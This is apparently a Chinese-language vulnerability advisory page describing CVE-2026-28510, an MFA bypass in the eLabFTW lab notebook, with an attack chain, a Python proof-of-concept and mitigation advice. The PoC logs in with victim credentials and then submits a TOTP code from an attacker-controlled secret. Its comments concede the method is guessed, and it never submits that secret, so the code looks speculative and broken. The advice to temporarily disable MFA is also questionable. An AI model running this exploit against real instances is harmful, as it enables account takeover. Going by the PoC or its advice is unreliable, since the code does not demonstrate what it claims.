IPBUF安全漏洞报告
English
CVE-2026-28510 CVSS 5.9 中危

CVE-2026-28510 eLabFTW MFA认证绕过漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-28510
漏洞类型
认证绕过
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
eLabFTW

相关标签

认证绕过eLabFTWMFA逻辑漏洞CVE-2026-28510

漏洞概述

eLabFTW是一款开源电子实验笔记本。在5.4.1及之前的版本中,其登录流程存在安全缺陷,未能可靠地在认证步骤间保存多因素认证(MFA)状态。在特定条件下,拥有有效主凭证的攻击者可以利用攻击者控制的TOTP密钥完成认证,从而绕过第二重验证。这可能导致未经授权的账户访问。官方已在5.4.2版本中修复了此问题。

技术细节

该漏洞源于eLabFTW登录流程中MFA状态管理的逻辑缺陷。通常,MFA流程要求用户在输入密码后输入基于时间的一次性密码(TOTP)。然而,在受影响版本中,系统未能正确绑定会话状态与特定的MFA注册密钥。攻击者如果获取了目标用户的用户名和密码(PR:H要求高权限,意味着需要先获取主凭证),可以在MFA验证步骤通过操纵请求,将TOTP验证密钥替换为攻击者自己控制的密钥。由于系统未校验当前会话正在验证的TOTP密钥是否属于原始登录用户,攻击者即可使用自己生成的TOTP代码通过验证,从而成功绕过目标用户的MFA保护,获取账户访问权限。这属于逻辑漏洞,利用了状态不一致性。

攻击链分析

STEP 1
凭证获取
攻击者首先需要获取目标用户的合法用户名和密码(高权限要求)。
STEP 2
发起登录
攻击者使用获取到的凭证向eLabFTW服务器发起登录请求。
STEP 3
状态操纵
在进入MFA验证阶段时,利用系统未能可靠保存MFA状态的漏洞,使用攻击者自己控制的TOTP密钥生成验证码。
STEP 4
绕过验证
提交攻击者生成的验证码,由于系统状态绑定错误,验证通过,攻击者获得账户访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import pyotp # Target configuration target_url = "https://target-elabftw-instance.com" login_endpoint = f"{target_url}/login" mfa_endpoint = f"{target_url}/api/v2/mfa/verify" # Victim credentials (Attacker must have these first) victim_username = "victim_user" victim_password = "victim_password" # Attacker's controlled TOTP secret attacker_secret = "JBSWY3DPEHPK3PXP" totp = pyotp.TOTP(attacker_secret) current_code = totp.now() session = requests.Session() # Step 1: Perform initial login with primary credentials login_payload = { "username": victim_username, "password": victim_password } response = session.post(login_endpoint, data=login_payload) if response.status_code == 200: # Step 2: Exploit the MFA bypass logic # The vulnerability allows submitting a TOTP code generated from an attacker-controlled secret # because the application fails to preserve the correct MFA state binding. mfa_payload = { "code": current_code, # Depending on the specific implementation, the attacker might also need to supply # the secret or the session might accept any valid TOTP format due to state loss. } mfa_response = session.post(mfa_endpoint, json=mfa_payload) if mfa_response.status_code == 200: print("[+] Exploit successful: MFA bypassed.") else: print("[-] Exploit failed.") else: print("[-] Initial login failed.")

影响范围

eLabFTW <= 5.4.1

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应暂时禁用MFA功能并强制用户使用强密码策略,或者密切监控登录日志,寻找验证失败后立即成功或来自异常IP的登录行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表